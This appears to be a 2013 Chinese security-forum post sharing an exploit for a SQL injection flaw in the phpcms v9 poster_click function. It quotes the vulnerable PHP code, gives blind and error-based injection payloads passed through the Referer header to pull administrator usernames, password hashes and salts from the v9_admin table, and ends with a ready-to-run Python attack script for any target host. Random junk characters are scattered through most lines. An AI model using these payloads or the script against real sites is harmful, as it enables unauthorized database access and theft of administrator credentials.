找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2237|回复: 0
打印 上一主题 下一主题

phpcms post_click注入0day利用代码

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:01:00 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:  }; t" \* i; y- ^9 y2 e; r
; K6 c' v+ n' O' {. G+ `% x
问题函数\phpcms\modules\poster\index.php
3 o8 X! A$ e' _2 |1 d1 t  l" c' n3 e+ I  E* N9 o
public function poster_click() {( c/ B  l" {1 p' Z0 {
$id = isset($_GET['id']) ? intval($_GET['id']) : 0;! N" }" D# I, I8 @; o) V% q# R# y4 X
$r = $this->db->get_one(array('id'=>$id));
- Z% p9 x, C- h  i) J+ k3 K4 t- tif (!is_array($r) && empty($r)) return false;  @! f) F" T! i5 H; }, D& ?+ N9 F0 |
$ip_area = pc_base::load_sys_class('ip_area');
5 W; ]0 ?( R' |. S& }+ }1 |& ^; `$ip = ip();
! ?. V! h; K1 c6 D4 v. X$area = $ip_area->get($ip);
4 e# y; n( b* J1 A9 h$username = param::get_cookie('username') ? param::get_cookie('username') : '';
4 f' R* x) u! x; `% p. Dif($id) {
2 H" O" H! ^- |* ^0 ]6 D$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
0 V1 q! b1 J7 ]$ q: v$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
9 |: L0 ^3 A. h& L+ X}( m9 r1 s1 J# y
$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));+ r+ c  ~" Y2 a3 t6 [
$setting = string2array($r['setting']);/ \% U9 D5 `1 _3 L
if (count($setting)==1) {
" ^0 M  Q! V* E. O; V9 {+ M$url = $setting['1']['linkurl'];
5 W4 N* V3 A4 w8 a3 H, |1 O8 p} else {0 u7 Z, b# O% _8 i6 r+ ?# ]- \8 V
$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];! p$ k4 y' M/ Z& x/ G4 i
}
: A7 w! c4 Y% H, {. |0 X! nheader('Location: '.$url);1 x' ?3 ~9 V: ]( K: b, ?
}
/ s8 q( b& c! P) F
7 X& ]$ L' }9 s 3 P; T( _+ f. z0 l5 G

: ?/ @. O/ @& h+ u利用方式:
3 t* E5 L% ~! X5 |4 p! U5 v/ d- O4 r9 D. a1 A! J
1、可以采用盲注入的手法:0 R; G' x  |) l% a4 u) G
* x* U  i8 ~$ P& a) G2 W' X3 N
referer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#
% y7 A0 }2 ^) \- z8 A0 e5 c& A4 i: Q! r
通过返回页面,正常与否一个个猜解密码字段。
. f- U+ }8 Q/ X9 Y( P3 ?, j& c/ e5 r, k1 U& Z
2、代码是花开写的,随手附上了:1 q) v" J$ n- X, H" |% O( ?

4 |7 W- G6 M0 l3 I9 W, g- s: L1 J1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#
1 C) r+ h3 n% a7 M
3 a$ E* j3 W: t* V5 j# o% h此方法是爆错注入手法,原理自查。
6 d9 y# T; Z8 c& w9 ^0 c* K( J' Q" c, [9 o# R% s- n; E( @

: Y: N4 f; ^9 O+ Y5 l- L0 |
2 A+ H$ w, L  P" g, }4 S8 D9 d利用程序:7 }2 P  t/ i/ S+ I/ L) w4 w

0 Y8 \; D1 F' Y, l, ?( U4 v$ O; Q#!/usr/bin/env python
# d. l; X3 @4 x7 mimport httplib,sys,re
' ?  r1 u6 `6 A7 r$ z1 D, O) b6 z0 M6 j+ h4 w  {2 z
def attack():
/ O4 ?; k- t& ]8 j2 O# ^print “Code by Pax.Mac Team conqu3r!”
7 m7 r) X/ A3 d- {4 dprint “Welcome to our zone!!!”
9 p9 M+ G1 z+ y: [" y- Hurl=sys.argv[1]8 y$ c: }6 M- }' ?  L
paths=sys.argv[2]# a! F6 C: ~7 L- u
conn = httplib.HTTPConnection(url)* q4 M8 C7 j# e* U' b# U. `
i_headers = {“User-Agent”: “Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5″,; ^* H, K& _" N# f' J/ q3 f
“Accept”: “text/plain”,/ r, a9 N+ C9 z* M
“Referer”: “1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#”}1 I, S0 [, C) u. u, l* y0 f+ t$ o: f
conn.request(“GET”, paths+”/index.php?m=poster&c=index&a=poster_click&sitespaceid=1&id=2″, headers = i_headers)& ?8 }6 h  q  j+ i
r1 = conn.getresponse(). v3 ~% y7 Y/ r  @% O3 ~6 n
datas=r1.read()- o% A* ^! v2 |8 {2 d
datas=re.findall(r”Duplicate entry \’\w+’”, datas)0 r1 C9 f" O" L, |6 E7 b7 n
print datas[0]% s5 ^) r, _1 ~. o3 j  m5 H
conn.close()
/ B# l: h5 _1 nif __name__==”__main__”:& Q9 f& X7 _4 ^% ]
if len(sys.argv)<3:
& L" O( b5 u$ P( {3 A% O3 r1 P0 |print “Code by Pax.Mac Team conqu3r”/ c: A: f5 q. u- U
print “Usgae:”
! m% j6 K+ s7 U7 h' X& ^/ |print “    phpcmsattack.py   www.paxmac.org /”# \- r4 R% r4 c) n; _9 @/ y$ A
print “    phpcmsataack.py   www.paxmac.org /phpcmsv9/”
( b$ N/ A3 C# J0 }sys.exit(1)" b0 e, J+ n1 D$ T6 `8 }
attack()
$ }8 V* w( z: Y8 {5 ^/ |$ l, I* f1 I1 s5 p6 t# j$ q+ V9 O
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表